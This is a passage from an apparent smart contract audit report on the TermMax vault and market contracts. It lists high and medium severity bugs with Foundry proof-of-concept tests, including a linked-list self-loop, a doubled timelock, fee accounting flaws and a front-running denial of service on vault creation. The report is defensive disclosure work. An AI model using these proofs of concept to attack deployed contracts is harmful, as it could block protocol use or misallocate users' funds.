[Revert] ERC4626ExceededMaxWithdraw(0xB38Bff66d567C10F54a96F35ee790d36684bdfB6, 10000000000 [1e10], 0)
```

Recommendation: Remove this `amountLeft -= assetBalance;` and change `amountLeft` with `amount` in transfers-> `asset.safeTransfer(recipient, amountLeft);`.

3.1.7 Maturity Linked List breaks if you add an order with the `maturity = _recentestMaturity`

Submitted by BengalCatBalu, also found by Joshuajee

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Let's take a look at how orders with the same maturity are processed when they are created in the createOrder function - the key function here is `_insertMaturity`, which is called inside `createOrder`.

```
function _insertMaturity(uint64 maturity) internal {
    uint64 priorMaturity = _recentestMaturity;
    if (_recentestMaturity == 0) {
        _recentestMaturity = maturity;
        return;
    } else if (maturity < priorMaturity) {
        _recentestMaturity = maturity;
        _maturityMapping[maturity] = priorMaturity;
        return;
    }

    uint64 nextMaturity = _maturityMapping[priorMaturity];
    while (nextMaturity > 0) {
        if (maturity < nextMaturity) {
            _maturityMapping[maturity] = nextMaturity;
            if (priorMaturity > 0) _maturityMapping[priorMaturity] = maturity;
            return;
        } else if (maturity == nextMaturity) {
            break;
        } else {
            priorMaturity = nextMaturity;
            nextMaturity = _maturityMapping[priorMaturity];
        }
    }
    _maturityMapping[priorMaturity] = maturity;
}
```

`insertMaturity` maintains a linked List consisting of the maturity of all Vault orders. recentnessMaturity stores the order that expires soonest. However, consider a case:

1. First case: our linked list is 1 $\rightarrow$ 2, `recentnessMaturity = 1`. We create another order with `maturity = 1`. In this case, we go into the first `if` in a while:

   ```
   if (maturity < nextMaturity) {
       _maturityMapping[maturity] = nextMaturity;
       if (priorMaturity > 0) _maturityMapping[priorMaturity] = maturity;
       return;
   }
   ```

   First we will update `maturityMapping[1] = 2`. Then, since `priorMaturity = 1` - we will again update `maturityMapping[1] = 1`.

   In the end we get a broken `linkedList` where `[1]` refers to itself. We can see that if we add orders with the same maturity - in some cases the behaviour can be broken and the linked list destroyed. Specifically in the case when we add an order with `maturity = recentnessMaturity`.

   The looped linkedList has a number of critical implications for the protocol. Probably the most serious one is that the `_accruedInterest` function will stop working correctly - We simply can never get to the next maturity and stop at the very first one, meaning interest for all subsequent maturities will be processed incorrectly.

```
function _accruedInterest() internal {
    uint64 currentTime = block.timestamp.toUint64();

    uint256 lastTime = _lastUpdateTime;
    uint64 recentMaturity = _recentestMaturity;
    if (lastTime == 0) {
        lastTime = currentTime;
    }
    while (currentTime >= recentMaturity && recentMaturity != 0) {
        _accruedPeriodInterest(lastTime, recentMaturity);
        lastTime = recentMaturity;
        uint64 nextMaturity = _maturityMapping[recentMaturity];
        delete _maturityMapping[recentMaturity];
        // update anualized interest
        _annualizedInterest -= _maturityToInterest[recentMaturity];
        delete _maturityToInterest[recentMaturity];
        recentMaturity = nextMaturity;
    }
    if (recentMaturity > 0) {
        _accruedPeriodInterest(lastTime, currentTime);
        _recentestMaturity = recentMaturity;
    } else {
        // all orders are expired
        _recentestMaturity = 0;
        _annualizedInterest = 0;
    }
    _lastUpdateTime = currentTime;
}
```

Impact Explanation: Critical Impact, interest accounting depends on this invariant, so will DoS creation of new orders.

Likelihood Explanation: Given that the created order inherits the maturity of the market, this situation can be considered as high likelihood.

Each Vault works only with Whitelisted Market, which means that two options are possible.

1. More probable, two different orders will be created from one market. They automatically have the same maturity.
2. Less probable. Two different orders will be created from two different markets with the same maturity.

Recomendation: Handle this edge case correctly.

3.1.8 Apr can be rounded down for small `_annualizedInterest` in case of low decimals `debtToken`

Submitted by BengalCatBalu

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The first thing to notice is that the ft, xt, `debtToken` decimals match. This is clear from the `_deployTokens` function in `TermMaxMarket`. Second, for the following report, let's assume that `debtToken = USDC` and has 6 decimals, so ft, xt have 6 decimals. Next, let's look at the function that accrues apr in Vault:

```
function _accruedPeriodInterest(uint256 startTime, uint256 endTime) internal {
    uint256 interest = (_annualizedInterest * (endTime - startTime)) / 365 days;
    uint256 _performanceFeeToCurator = (interest * _performanceFeeRate) / Constants.DECIMAL_BASE;
    // accrue interest
    _performanceFee += _performanceFeeToCurator;
    _accretingPrincipal += (interest - _performanceFeeToCurator);
}
```

In this entire function, we are interested in this particular line:

```
uint256 interest = (_annualisedInterest * (endTime - startTime)) / 365 days;
```

We will assume that interactions with Vault are very frequent, so `endTime - startTime` is minimal:

```
365 days = 31536000
```

Consider the dimensionality of `_annualisedInterest`. It is changed in the `swapCallback` function.

```
function swapCallback(int256 deltaFt) external onlyProxy {
    address orderAddress = msg.sender;
    /// @dev Check if the order is valid
    _checkOrder(orderAddress);
    uint64 maturity = _orderMapping[orderAddress].maturity;
    /// @dev Calculate interest from last update time to now
    _accruedInterest();

    /// @dev If ft increases, interest increases, and if ft decreases,
    ///  interest decreases. Update the expected annualized return based on the change
    uint256 ftChanges;

    if (deltaFt > 0) {
        ftChanges = deltaFt.toUint256();
        _totalFt += ftChanges;
        uint256 deltaAnualizedInterest = (ftChanges * Constants.DAYS_IN_YEAR) / _daysToMaturity(maturity);

        _maturityToInterest[maturity] += deltaAnualizedInterest.toUint128();

        _annualizedInterest += deltaAnualizedInterest;
    } else {
        ftChanges = (-deltaFt).toUint256();
        _totalFt -= ftChanges;
        uint256 deltaAnualizedInterest = (ftChanges * Constants.DAYS_IN_YEAR) / _daysToMaturity(maturity);
        if (_maturityToInterest[maturity] < deltaAnualizedInterest || _annualizedInterest <
        ↪  deltaAnualizedInterest)
        {
            revert LockedFtGreaterThanTotalFt();
        }
        _maturityToInterest[maturity] -= deltaAnualizedInterest.toUint128();
        _annualizedInterest -= deltaAnualizedInterest;
    }
    /// @dev Ensure that the total assets after the transaction are
    ///greater than or equal to the principal and the allocated interest
    _checkLockedFt();
}
```

Each time it changes to the following value:

```
deltaAnualisedInterest = (ftChanges * Constants.DAYS_IN_YEAR) / _daysToMaturity(maturity);
```

As we see, the dimensionality of `annualizedInterest` is equal to the dimensionality of ft, and so in our case it is 6.

So, from this it becomes clear that at the initial stages of Vault for a still small not yet accumulated `annualizedInterest`, with `decimals = 6`, Vault apr will suffer very much from rounding down, up to rounding to 0.

Suppose that the current `annualisedInterest = 5 = 5 * 10 ** 6`.

So as long as it is equal to 5, for any time interval less than 20 when calculating apr it will be rounded down to 0. So vault will lose apr.

Impact Explanation: Protocol loses apr due to downward rounding.

Likelihood Explanation: In all cases where the debtToken has 6 decimals.

Recomendation: Add scaling to this calculation to not loose apr.

3.2 Medium Risk

3.2.1 Incorrect Interest Calculation Due to Performance Fee Rate Change

Submitted by vesko210, also found by Nyksx

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `_accruedPeriodInterest()` function applies the `_performanceFeeRate` to the entire period's accrued interest, instead of considering when the fee rate was changed. This results in inaccurate fee calculations, potentially leading to incorrect fund distributions.

Finding Description: If the fee rate changes mid-period, the function still applies the latest rate to the full period. This breaks financial accuracy guarantees and can lead to unfair fee calculations.

The `_performanceFeeRate` can be changed before `_accruedPeriodInterest()` is executed to increase or decrease fees unfairly, exploiting this miscalculation to their advantage. This issue impacts the protocol's revenue and user returns.

Impact Explanation: This bug could lead to:

- Overcharging or undercharging fees: Users might pay more or less than intended, leading to potential disputes.
- Incorrect revenue allocation: The protocol could miscalculate its earnings, affecting financial sustainability.
- Exploitation opportunities: Attackers could time changes in `_performanceFeeRate` to gain an unfair financial advantage.

Given these factors, the impact is assessed as Medium, as it affects financial fairness and protocol integrity.

Likelihood Explanation: The probability of this issue occurring is Medium to High depending on how often `_performanceFeeRate` is changed, with use of the function `setPerformanceFeeRate` the issue would occur for users who have some interest:

- The more often `_performanceFeeRate` changes, the more often the problem will occur.
- Users with knowledge of the bug could manipulate timing to benefit unfairly.

Proof of Concept:

- Problematic Code in `_accruedPeriodInterest() located in: TermMax\contracts\vault\TermMaxVault.sol`:

```
function _accruedPeriodInterest(uint256 startTime, uint256 endTime) internal {
    uint256 interest = (_annualizedInterest * (endTime - startTime)) / 365 days;
    uint256 _performanceFeeToCurator = (interest * _performanceFeeRate) / Constants.DECIMAL_BASE;

    _performanceFee += _performanceFeeToCurator;
    _accretingPrincipal += (interest - _performanceFeeToCurator);
}
```

Steps to Exploit:

1. `_performanceFeeRate` is initially 5%.
2. Mid-period, `_performanceFeeRate` changes to 7%.
3. `_accruedPeriodInterest()` still applies 7% to the entire period, overcharging fees.
4. If an attacker knows this, they can time `_performanceFeeRate` changes to gain a financial advantage against all the other users.

```
function testIncorrectPerformanceFeeCalculationWhenRateChanges() public {
uint256 initialDeposit = 1000e18;
uint256 initialFeeRate = 0.5e8; // Initial performance fee rate
uint256 newFeeRate = 0.7e8; // New performance fee rate after change

// Deploy the vault and submit initial deposit
vm.startPrank(deployer);
res.debt.mint(deployer, initialDeposit);
res.debt.approve(address(vault), initialDeposit);
vault.deposit(initialDeposit, deployer);
vm.stopPrank();

// Set the initial performance fee rate
vault.setPerformanceFeeRate(initialFeeRate);

// This represents the period before the fee rate change
vm.warp(currentTime + 30 days);

vault.setPerformanceFeeRate(newFeeRate);

vm.warp(currentTime + 60 days);  // Another 30 days after the fee change
vault.accrueInterest();

uint256 actualFee = (100e18 * newFeeRate) / 1e8 + (100e18 * newFeeRate) / 1e8;
// Accrued interest before fee change (100e18 * 0.5% = 0.5e18) + after fee change (100e18 * 0.7% =
↪  0.7e18)
uint256 expectedFee = (100e18 * initialFeeRate) / 1e8 + (100e18 * newFeeRate) / 1e8;

// Assert the performance fee has been calculated correctly
assertEq(expectedFee, actualFee, "The performance fee was calculated incorrectly!");
}
```

Why it will fail: The test asserts that the performance fee should be calculated separately for the two periods based on the different fee rates (0.5% for the first period, 0.7% for the second period).

Since the logic in the contract doesn't differentiate between periods with different fee rates, it will incorrectly apply the updated 0.7% fee rate to the entire period's interest.

Recommendation: Track Fee Rate Changes Over Time; modify `_accruedPeriodInterest()` to segment the period based on fee rate changes:

- Tracks `_performanceFeeRate` changes over time.
- Splits interest calculation into segments based on historical fee rate changes.
- Applies the correct fee rate for each time period, ensuring fairness.

Term Structure: `PerformanceFeeRate` can only be changed by the curator, and the change must be locked for a period of time before it takes effect.

We are also aware of this issue, which we believe is a medium severity because there will be no loss of principal.

3.2.2 Weak Address Salt in `VaultFactory::createVault` Enables DoS and Hijacking of the `Curator` + `Allocator` Roles

Submitted by silverologist, also found by silverologist, BengalCatBalu, BengalCatBalu and Saurabh Sankhwar

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `VaultFactory::createVault` function is missing access controls so anyone can call it. This can be abused to DDoS and/or hijack legitimate vault creation attempts.

Finding Description: In the `VaultFactory::createVault` function, the vault address salt is generated using the following parameters:

- `admin`.
- `asset`.
- `name`.

- `symbol`.
- `salt`.

Changing any of these parameters will result in a different vault address, which is not likely to cause problems.

However, the caller must also provide these parameters as part of `initialParams`:

- `curator`.
- `timelock`.
- `maxCapacity`.
- `performanceFeeRate`.

Consider the following scenario:

- Alice submits a transaction to create a vault.
- Bob front-runs that transaction with his own, modifying the `curator`, `timelock`, `maxCapacity`, and `performanceFeeRate` values.
- Bob's transaction's succeeds.
- Alice's transaction reverts because the vault address is already taken.

Two possibilities arise:

- Most likely Alice's transaction failure results in the vault created by Bob never being used because Alice is aware Bob's vault is not identical to the one she wanted to create. In this case an attacker can DoS the protocol by front running every legitimate transaction for creating a vault.
- However if Alice ignores the transaction failure and still goes ahead with using the vault at the pre-determined address, Bob has successfully hijacked the curator and allocator roles of the vault and can perform all the priviledged actions associated with this role.

Impact Explanation: This attack is either a continuous DoS for `VaultFactory` or a trusted role hijack depending on how the legitimate vault creator handles their transaction reverting.

Likelihood Explanation: This attack can be performed by anyone whenever a new vault is deployed.

Proof of Concept: Create file `./termmax-contracts/test/VaultDos.t.sol` and add the following test to it:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import {console, Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TermMaxVault, ITermMaxVault} from "contracts/vault/TermMaxVault.sol";
import {OrderManager} from "contracts/vault/OrderManager.sol";
import {VaultInitialParams} from "contracts/storage/TermMaxStorage.sol";
import {VaultFactory} from "contracts/factory/VaultFactory.sol";

contract VaultDosTest is Test {
    address deployer = vm.randomAddress();
    address curator = vm.randomAddress();
    address alice = vm.randomAddress();
    address bob = vm.randomAddress();

    ITermMaxVault vault;

    VaultInitialParams initialParams;
    uint256 timelock = 86400;
    uint256 maxCapacity = 1000000e18;
    uint64 performanceFeeRate = 0.5e8;

    function testPoc_vaultDoS() public {
        OrderManager orderManager = new OrderManager();
        TermMaxVault implementation = new TermMaxVault(address(orderManager));
        VaultFactory vaultFactory = new VaultFactory(address(implementation));

        // set initial parameters
        initialParams = VaultInitialParams(
            deployer,
```

```
            curator,
            timelock,
            IERC20(address(1)),
            maxCapacity,
            "Vault-DAI",
            "Vault-DAI",
            performanceFeeRate
        );

        // vault with the first version of initial parameters is deployed successfully
        vm.prank(bob);
        vaultFactory.createVault(initialParams, 0);

        // update initial parameters
        initialParams.curator = address(12345);
        initialParams.timelock = timelock * 2;
        initialParams.maxCapacity = maxCapacity * 2;
        initialParams.performanceFeeRate = performanceFeeRate * 2;

        // vault with the second version of initial parameters can't be deployed
        vm.prank(alice);
        vm.expectRevert(abi.encodeWithSignature("FailedDeployment()"));
        vaultFactory.createVault(initialParams, 0);
    }
}
```

Recommendation: Include all vault parameters in the salt of the vault address such that changing any parameter will change the address. Alternatively, only allow a trusted address to create the vaults.

3.2.3 Attempting to Increase the Performance Fee Rate Will Lock It for Approximately 55 Years

Submitted by silverologist, also found by BengalCatBalu and BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Submitting a performance fee rate to the timelock mistakenly adds `block.timestamp` twice to the `validAt` value. This results in an excessively long lock period of approximately 55 years. Additionally, since there is no `revoke` function for the performance fee rate timelock, this state becomes irreversible.

Finding Description: In `TermMaxVault::submitPerformanceFeeRate`, when a new performance fee rate is higher than the existing one, it undergoes a timelock by invoking `PendingLib::update`:

```
_pendingPerformanceFeeRate.update(newPerformanceFeeRate, block.timestamp + _timelock);
```

However, `PendingLib::update` itself adds `block.timestamp` to the `validAt` field:

```
function update(PendingUint192 storage pending, uint184 newValue, uint256 timelock) internal {
    pending.value = newValue;
    pending.validAt = uint64(block.timestamp + timelock);
}
```

As a result, `pending.validAt` becomes `block.timestamp + block.timestamp + _timelock`, pushing the unlock period to ~55 years.

Furthermore, the lack of a `revoke` function exacerbates the problem since the pending performance fee rate cannot be revoked. Resubmitting a new performance fee rate fails to help too due to the `AlreadyPending` error.

Impact Explanation: The inability to adjust the performance fee rate leads to a permanent loss of curator revenue, as they cannot increase fees when market conditions demand it.

Likelihood Explanation: This issue consistently occurs whenever an attempt is made to update the performance fee rate to a higher value.

Proof of Concept: The following test demonstrates the issue in `./termmax-contracts/test/Vault.t.sol`:

```
function testPoc_submitPerformanceFeeRateBrokenTimelock() public {
    // increase the performance fee rate
    uint184 originalPercentage = vault.performanceFeeRate();
    uint184 newPercentage = originalPercentage + 0.1e8;
    vm.prank(curator);
    vault.submitPerformanceFeeRate(newPercentage);

    // performance fee rate is not increased immediately, it has to wait for the timelock
    uint256 percentage = vault.performanceFeeRate();
    assertEq(percentage, originalPercentage);

    // verify the timelock value
    assertEq(vault.pendingPerformanceFeeRate().validAt, block.timestamp * 2 + vault.timelock());
}
```

Recommendation: Remove the unnecessary addition of `block.timestamp` in `submitPerformanceFeeRate`:

```
- _pendingPerformanceFeeRate.update(newPerformanceFeeRate, block.timestamp + _timelock);
+ _pendingPerformanceFeeRate.update(newPerformanceFeeRate, _timelock);
```

Term Structure: We have confirmed that this issue exists, alhtough it does not affect the security of the system and user assets.

3.2.4 Missing Market Whitelist Modifier in `borrowTokenFromGt`

Submitted by 0xNull, also found by BengalCatBalu and korok

Severity: Medium Risk

Context: TermMaxRouter.sol#L340

Summary: The`borrowTokenFromGt`function in the `TermMaxRouter` contract allows the use of unauthorized markets by not utilizing a modifier to check whether the specified market is whitelisted.

Finding Description: The `borrowTokenFromGt` function, which is used for borrowing tokens from a specific market, does not use the `ensureMarketWhitelist` modifier, which should be applied in every function interacting with the market. This allows users to invoke this function on markets that are not part of the whitelist.

This issue allows individuals to use this function and its logic in unauthorized markets.

Impact Explanation: impact is `high` Because this issue could lead to the following:

- Transfer of unauthorized tokens.
- Lending or loss of tokens.

Likelihood Explanation: The likelihood of this issue occurring is relatively `high`, especially if the system is used by a large number of users interacting with various markets. Since the `borrowTokenFromGt` function does not check whether the market is on the whitelist, any user can exploit this vulnerability and use the function on unauthorized markets.

Proof of Concept: The market whitelist status has been set to `false`, and the execution completes successfully:

```
function testBorrowTokenFromGt() public {
    vm.startPrank(deployer);
    res.router.setMarketWhitelist(address(res.market), false);
    vm.stopPrank();

    vm.startPrank(sender);
    uint256 collInAmt = 1e18;

    (uint256 gtId,) = LoanUtils.fastMintGt(res, sender, 100e8, collInAmt);

    uint128 borrowAmt = 80e8;

    res.debt.mint(sender, borrowAmt);
    res.debt.approve(address(res.market), borrowAmt);
    res.market.mint(sender, borrowAmt);

    res.xt.approve(address(res.router), borrowAmt);
    res.gt.approve(address(res.router), gtId);

    uint256 issueFtFeeRatio = res.market.issueFtFeeRatio();
    uint128 previewDebtAmt =
        ((borrowAmt * Constants.DECIMAL_BASE) / (Constants.DECIMAL_BASE - issueFtFeeRatio)).toUint128();

    vm.expectEmit();
    emit RouterEvents.Borrow(res.market, 1, sender, sender, 0, previewDebtAmt, borrowAmt);

    res.router.borrowTokenFromGt(sender, res.market, gtId, borrowAmt);

    (, uint128 debtAmt,,) = res.gt.loanInfo(gtId);
    assert(debtAmt == 100e8 + previewDebtAmt);
    assertEq(res.debt.balanceOf(sender), borrowAmt);

    vm.stopPrank();
}
```

Recommendation: Consider adding the `ensureMarketWhitelist` modifier to prevent this vulnerability.

Term Structure: Router is just a function aggregation. Whitelist restriction is only used as an additional security precaution and will not actively cause user funds to be lost.

3.2.5 Flawed Market Whitelisting Timelock in TermMaxVault Enables Unfair Competition

Submitted by silverologist, also found by BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The timelock mechanism designed to delay market whitelisting in `TermMaxVault` is not functioning.

Finding Description: In the `TermMaxVault::submitMarket` function, when a new market is submitted for whitelisting, the `_pendingMarkets[market]` object is assigned a `validAt` value of `0`. This causes the market to become eligible for whitelisting immediately, bypassing the expected delay.

As a consequence, curators can create orders earlier than anticipated, leading to unexpected competition for other market participants.

Consider this scenario:

- Alice, a lending market maker, creates an order at an interest rate of X%.
- The curator submits the market to the vault for whitelisting.
- Due to the flawed timelock, the market is instantly whitelisted. The curator then creates an order at a lower interest rate of Y% (< X%).
- Bob, a borrowing market taker, selects the curator's order because it offers a better rate.

While Bob benefits from a lower interest rate, Alice faces unfair and unexpected competition, losing the potential profit she would have earned if her order had been filled by Bob.

Impact Explanation: The flawed timelock allows curators to gain a competitive advantage by creating orders immediately after submitting markets for whitelisting, resulting in unfair and unexpected competition for other market makers. This can lead to a loss of profit for them.

Likelihood Explanation: Markets that are submitted for whitelisting never have to undergo the timelock delay.

Proof of Concept: Execute the following test `./termmax-contracts/test/TestTimelock.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import {Test} from "forge-std/Test.sol";
import {DeployUtils} from "./utils/DeployUtils.sol";
import {JSONLoader} from "./utils/JSONLoader.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ITermMaxVault} from "contracts/vault/TermMaxVault.sol";
import {PendingUint192} from "contracts/lib/PendingLib.sol";
import {MarketConfig, VaultInitialParams} from "contracts/storage/TermMaxStorage.sol";

contract TestTimelock is Test {
    address deployer = vm.randomAddress();
    address curator = vm.randomAddress();
    string testdata;
    ITermMaxVault vault;

    function setUp() public {
        vm.startPrank(deployer);
        testdata = vm.readFile(string.concat(vm.projectRoot(), "/test/testdata/testdata.json"));
        MarketConfig memory marketConfig = JSONLoader.getMarketConfigFromJson(vm.randomAddress(), testdata,
        ↪  ".marketConfig");
        marketConfig.maturity = uint64(block.timestamp + 90 days);
        VaultInitialParams memory initialParams = VaultInitialParams(
            deployer, curator, 86400, IERC20(vm.randomAddress()), 1000000e18, "Vault-DAI", "Vault-DAI", 0.5e8
        );
        vault = DeployUtils.deployVault(initialParams);
        vm.stopPrank();
    }

    function testMarketWhitelistNoTimelock() public {
        // check current timelock value
        assertEq(vault.timelock(), 86400);

        // submit market
        vm.prank(curator);
        address market = address(0x123);
        vault.submitMarket(market, true);

        // The validAt of the newly submitted market is the current time, without timelock
        PendingUint192 memory pendingMarket = vault.pendingMarkets(market);
        assertEq(pendingMarket.validAt, block.timestamp);
    }
}
```

Recommendation: In `TermMaxVault`, when submitting a market for whitelisting, set the timelock properly:

```
- _pendingMarkets[market].update(uint184(block.timestamp + _timelock), 0);
+ _pendingMarkets[market].update(0, _timelock);
```

3.2.6 Orders created through vault cannot be paused

Submitted by BengalCatBalu, also found by Joshuajee and Nyksx

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Based on the fact that the `TermMaxOrder` and `TermMaxVault` contracts are pausable - we can understand that the developers want to support pausable functionality for these entities. However, Orders created via `Vault` cannot be paused. Curator Vault can create Orders by calling the `CreateOrder` function.

The call will be `delegatecall` in `OrderManager`, so here I will insert the functionality from `OrderManager`.

```
function createOrder(
    IERC20 asset,
    ITermMaxMarket market,
    uint256 maxSupply,
    uint256 initialReserve,
    CurveCuts memory curveCuts
) external onlyProxy returns (ITermMaxOrder order) {
    if (
        _supplyQueue.length + 1 >= VaultConstants.MAX_QUEUE_LENGTH
            || _withdrawQueue.length + 1 >= VaultConstants.MAX_QUEUE_LENGTH
    ) revert MaxQueueLengthExceeded();

    (IERC20 ft, IERC20 xt,,, IERC20 debtToken) = market.tokens();
    if (asset != debtToken) revert InconsistentAsset();

    order = market.createOrder(address(this), maxSupply, ISwapCallback(address(this)), curveCuts);
    if (initialReserve > 0) {
        asset.safeIncreaseAllowance(address(market), initialReserve);
        market.mint(address(order), initialReserve);
    }
    _supplyQueue.push(address(order));
    _withdrawQueue.push(address(order));

    uint64 orderMaturity = market.config().maturity;
    _orderMapping[address(order)] =
        OrderInfo({market: market, ft: ft, xt: xt, maxSupply: maxSupply.toUint128(), maturity: orderMaturity});
    _insertMaturity(orderMaturity);

    emit CreateOrder(msg.sender, address(market), address(order), maxSupply, initialReserve, curveCuts);
}
```

The thing is that by calling `market.createOrder` - the Owner role of the created order is passed to `address(this)` - i.e. to the Vault contract directly.

Here is the initialisation in the order contact - you can see that maker becomes owner, however `maker = address(this) = address(vault)`:

```
function initialize(
    address maker_,
    IERC20[3] memory tokens,
    IGearingToken gt_,
    uint256 maxXtReserve_,
    ISwapCallback swapTrigger,
    CurveCuts memory curveCuts_,
    MarketConfig memory marketConfig
) external override initializer {
    __Ownable_init(maker_);
    __ReentrancyGuard_init();
    __Pausable_init();
    market = ITermMaxMarket(_msgSender());

    // _orderConfig.curveCuts = curveCuts_;
    _updateCurve(curveCuts_);
    _orderConfig.feeConfig = marketConfig.feeConfig;
    _orderConfig.maxXtReserve = maxXtReserve_;
    _orderConfig.swapTrigger = swapTrigger;
    maturity = marketConfig.maturity;

    ft = tokens[0];
    xt = tokens[1];
    debtToken = tokens[2];
    gt = gt_;
    emit OrderInitialized(market, maker_, maxXtReserve_, swapTrigger, curveCuts_);
}
```

So, the key point is that the Vault contract does not implement any features for Order management. There are no functions for owner transfer and so on, but, most importantly, there are no functions for pausable Order functionality.

Order implements pause and unpause functions - which can only be called by owner. However, since these functions are not implemented in Vault - it is impossible to call them.

```
function pause() external override onlyOwner {
    _pause();
}

/**
 * @inheritdoc ITermMaxOrder
 */
function unpause() external override onlyOwner {
    _unpause();
}
```

Thus, given that both contracts implement pausable functionality - only one of them can be suspended. That is, with pausable vault, there will be no orders, although the operation of Vault directly depends on the created orders.

Recomendation: Add admin of Order functional to vault contract.

Term Structure: We don't think this is a problem.

For vault, the principal and accrued interest will be protected. Trading suspension is only for personal behavior.

3.2.7 The `totalAssets()` calculation may lead to unfair situations

Submitted by Nyksx, also found by BengalCatBalu and BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Finding Description: When users deposit or withdraw from the vault, shares are calculated using `totalAssets()` and `totalSupply()`, as expected from the ERC-4626 vaults.

```
function totalAssets() public view override(IERC4626, ERC4626Upgradeable) returns (uint256) {
    (uint256 previewPrincipal, uint256 previewPerformanceFee) = _previewAccruedInterest();
    return previewPrincipal + previewPerformanceFee;

}
```

Vaults `totalAssets()` is calculated by adding the principal assets to the performance fee. The principal assets equal the vault's total assets and the interest accrued from the accureInterest call. The performance fee is a percentage of the accrued interest.

The issue is that Including the performance fee in the total assets may cause problems, as this fee will be withdrawn by the curator after the market is redeemed. Therefore, there will be a difference in the amount users receive when they withdraw from the vault, depending on the timing of their withdrawal. If a user withdraws after the curator has taken the performance fees, they will receive fewer tokens. This is because the total assets will decrease after the performance fee is taken, leading to a lower total.

Impact Explanation: Including performance fees in the calculation of `totalAssets()` leads to an unfair situation when withdrawing from the vault.

Proof of Concept: `Vault.t.sol`:

```
function testTotalAssetsAndPerformanceFee() public {
    vm.warp(currentTime + 2 days);
    buyXt(48.219178e8, 1000e8);

    vm.warp(currentTime + 3 days);
    address user1 = vm.randomAddress();
    uint256 amount2 = 1000e8;
    res.debt.mint(user1, amount2*2);
    vm.startPrank(user1);
    res.debt.approve(address(vault), amount2*2);
    uint256 user1Shares = vault.deposit(amount2, user1);
    vm.stopPrank();

    address user2 = vm.randomAddress();
    res.debt.mint(user2, amount2*2);
    vm.startPrank(user2);
    res.debt.approve(address(vault), amount2*2);
```

```
    uint256 user2Shares = vault.deposit(amount2, user2);
    vm.stopPrank();

    vm.startPrank(curator);
    address order2 = address(vault.createOrder(market2, maxCapacity, 0, orderConfig.curveCuts));
    uint256[] memory indexes = new uint256[](2);
    indexes[0] = 1;
    indexes[1] = 0;
    vault.updateSupplyQueue(indexes);

    res.debt.mint(curator, 10000e8);
    res.debt.approve(address(vault), 10000e8);
    vault.deposit(10000e8, curator);

    vm.stopPrank();

    vm.warp(currentTime + 4 days);
    {
        address taker = vm.randomAddress();
        uint128 tokenAmtIn = 50e8;
        res.debt.mint(taker, tokenAmtIn);
        vm.startPrank(taker);
        res.debt.approve(address(res.order), tokenAmtIn);
        res.order.swapExactTokenToToken(res.debt, res.xt, taker, tokenAmtIn, 1000e8);
        vm.stopPrank();
    }

    vm.warp(currentTime + 40 days);

    {
        address taker = vm.randomAddress();
        uint128 tokenAmtIn = 50e8;
        res.debt.mint(taker, tokenAmtIn);
        vm.startPrank(taker);
        res.debt.approve(address(res.order), tokenAmtIn);
        res.order.swapExactTokenToToken(res.debt, res.xt, taker, tokenAmtIn, 1000e8);
        vm.stopPrank();
    }

    vm.warp(currentTime + 92 days);

    // Order is matured and redeemed
    // User1 withdraws
    vm.prank(user1);
    uint256 user1Redeem = vault.redeem(user1Shares, user1, user1);

    // Curator takes his fees
    uint256 performanceFee = vault.performanceFee();
    vm.prank(curator);
    vault.withdrawPerformanceFee(curator, performanceFee);

    // User2 withdraws
    vm.prank(user2);
    uint256 user2Redeem = vault.redeem(user2Shares, user2, user2);

    console.log("user1 shares:", user1Shares);
    console.log("user2 shares:", user2Shares);
    console.log("user1 asset amount:", user1Redeem);
    console.log("user2 asset amount:", user2Redeem);

}
```

Even if two users deposit the same amount at the same time, one of them can withdraw more tokens simply because they withdraw before the curator takes performance fees. As performance fees increase, the difference can become even greater.

```
Logs:
  user1 shares: 99994520848
  user2 shares: 99994520848
  user1 asset amount: 100671216158
  user2 asset amount: 100318322561
```

Recommendation: Exclude the performance fees from the `totalAssets()`.

3.2.8 Redeem fee is incorrectly factored into bad debt mapping due to incorrect logic

Submitted by 0xJoos, also found by BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Redeem fee is incorrectly factored into bad debt mapping due to incorrect logic.

Finding Description: When redeeming an order from the `TermMaxVault` contract, the flow is as follows:

- `TermMaxVault::redeemOrder` is called, which will delegatecall to `OrderManager::redeemOrder` → `OrderManager::_redeemFromMarket`, which then calls `TermMaxMarket::redeem`.
- `TermMaxMarket::_redeem`:

```
function _redeem(address caller, address recipient, uint256 ftAmount) internal returns (uint256
↪  debtTokenAmt) {
    //
    debtTokenAmt += ((debtToken.balanceOf(address(this))) * proportion) / Constants.DECIMAL_BASE_SQ;
    uint256 feeAmt;
    if (mConfig.feeConfig.redeemFeeRatio > 0) { // <<<
        feeAmt = (debtTokenAmt * mConfig.feeConfig.redeemFeeRatio) / Constants.DECIMAL_BASE; // <<<
        debtToken.safeTransfer(mConfig.treasurer, feeAmt); // <<<
        debtTokenAmt -= feeAmt; // <<<
    } // <<<
    debtToken.safeTransfer(recipient, debtTokenAmt);
    emit Redeem(
        caller, recipient, proportion.toUint128(), debtTokenAmt.toUint128(), feeAmt.toUint128(),
        ↪  deliveryData
    );
}
```

- `OrderManager::_redeemFromMarket`:

```
function _redeemFromMarket(address order, OrderInfo memory orderInfo) internal returns (uint256
↪  totalRedeem) {
    uint256 ftReserve = orderInfo.ft.balanceOf(order);
    ITermMaxOrder(order).withdrawAssets(orderInfo.ft, address(this), ftReserve);
    orderInfo.ft.safeIncreaseAllowance(address(orderInfo.market), ftReserve);
    totalRedeem = orderInfo.market.redeem(ftReserve, address(this));
    if (totalRedeem < ftReserve) { // <<<
        (,,, address collateral,) = orderInfo.market.tokens(); // <<<
        _badDebtMapping[collateral] = ftReserve - totalRedeem; // <<<
    } // <<<
